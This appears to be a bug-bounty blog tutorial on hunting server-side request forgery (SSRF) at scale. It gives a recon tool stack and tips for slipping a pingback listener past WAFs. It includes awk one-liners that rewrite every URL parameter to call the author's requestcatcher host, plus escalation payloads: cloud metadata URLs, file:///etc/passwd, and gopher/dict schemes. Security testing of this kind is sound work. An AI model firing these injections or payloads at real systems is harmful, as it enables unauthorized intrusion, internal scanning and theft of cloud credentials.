Server-Side Request Forgery (SSRF) is a critical vulnerability that occurs when an attacker forces a server-side application to make HTTP requests to an unintended destination. Essentially, the attacker uses the vulnerable server as a proxy to bypass network security controls.
Phase 1: The Recon Aggregation
The first step to finding SSRF is having a massive pool of URLs to test. I won't walk you through the urls collection — being "handy" with open source tools is part of your job — but here is the stack you should be using to build your allurls.txt:
- Passive Discovery:
waymore,gau,gauplus,waybackurls,urlscan alienvaultandvirustotal - Active Discovery: Burpsuite active scan web crawling,
haktrails,katana, andgospider.
Phase 2: The Setup (Bypassing the WAF)
To confirm an SSRF, you need a pingback server.
- Common Choice:
interactsh. - Pro Tip: Many WAFs (Web Application Firewalls) blacklist
interact.shdomains. To bypass this, usetinyurlorrequestcatcher.comto mask your listener.
Phase 3: Targeted Parameter Injection
The key to successful automation is tracking. If you blast 10,000 URLs and get one hit, you need to know exactly which URL triggered it.
Technique 1: Protocol-Specific Replacement
This regex targets parameters that specifically look like they contain a URL (starting with http or https). It appends a unique ID (e.g., emon1, emon2 , emon3 …) to each request so you can map the hit back to the source URL.

Bash
cat allurls.txt | gawk 'BEGIN{c=1}{s=$0;out="";while(match(s,/([?&][^=]+=)(https?:\/\/|https?%3A%2F%2F)([^\/&?]+)([^&]*)/,m)){proto=(tolower(m[2])~/^https/?"https://":"http://"); out=out substr(s,1,RSTART-1) m[1] proto "ashiquremon.requestcatcher.com/emon" c m[4]; c++; s=substr(s,RSTART+RLENGTH)}; print out s}' |grep -i requestcatcher | httpx -silent -fr
here is the pingback poc in the ss given below
Technique 2: Blind Parameter Injection
Sometimes, parameters that don't look like URLs are still vulnerable. This command replaces every parameter value with your pingback URL.

Bash
cat allurls.txt | awk 'BEGIN{c=1} {split($0,a,"\\?"); domain=a[1]; if(length(a)>1){split(a[2],p,"&"); for(i in p){sub(/=.*/,"=https://ashiquremon.requestcatcher.com/emon" c,p[i]); c++;} out=domain"?"p[1]; for(i=2;i<=length(p);i++) out=out"&"p[i]; print out} else print domain}'|grep -i requestcatcher | httpx -silent -frPro Tip: If you see your own IP address in the logs, it is an Open Redirect try to escalate it to Account takeover . If you see the server's IP or a local address, you've found a potential SSRF.
Phase 4: Escalation (The "Pro" in the Title)
A simple HTTP pingback is often marked as Low or Informative. To get that Critical bounty, you must demonstrate impact:
- Internal Port Scanning: Try hitting
127.0.0.1:[port]to find internal services (Redis, Jenkins, etc.). - Cloud Metadata Exfiltration:
- AWS/GCP:
http://169.254.169.254/latest/meta-data/ - Azure:
http://169.254.169.254/metadata/instance?api-version=2021-02-01 - Local File Read: Use protocols like
file:///etc/passwd , gopher://ordict://. - WAF Bypass: Use enclosures, decimal IP encoding, or DNS rebinding if the simple payloads are blocked.